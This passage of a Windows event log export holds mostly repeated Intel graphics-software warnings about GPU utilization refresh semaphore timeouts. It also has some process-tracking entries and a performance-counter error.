stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.176\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.512\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:02.833\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:03.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:03.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.040\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.113\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:04.121\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.447\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.450\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:34.777\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:35.220\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:35.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:36.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:36.441\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:37.558\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:37.781\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:38.772\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:38.777\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:40.683\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:40.685\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.012\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.452\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:41.456\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.348\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.351\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.899\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.908\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:43.912\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"WINWORD\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:48.125\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, NetAdapterCim, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 09:08:54.158\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.161\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.387\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.609\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:54.830\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:55.275\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.276\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.713\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:56.931\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:57.268\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:57.490\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.049\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.270\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.492\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:58.716\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.052\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.498\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.721\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:08:59.945\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.278\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.500\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.725\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:00.947\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.391\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.616\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:01.839\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.060\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.283\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.507\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:02.731\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:03.513\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:03.848\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.072\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.406\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:04.961\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.294\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.517\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:05.739\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.184\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.407\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:06.629\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.187\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.409\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.633\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:07.854\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:08.299\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:08.857\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:09.636\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:09.969\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.193\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.420\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.642\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:10.864\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.087\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.423\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.647\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:11.868\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:12.533\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:12.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:13.089\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:13.645\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.201\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.425\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:14.649\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.207\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.431\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.654\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:15.877\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.323\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.547\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.769\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:16.990\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:17.993\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:18.329\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:18.554\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:19.447\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:19.782\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:20.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:21.225\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:21.557\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.337\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.671\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:09:22.894\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 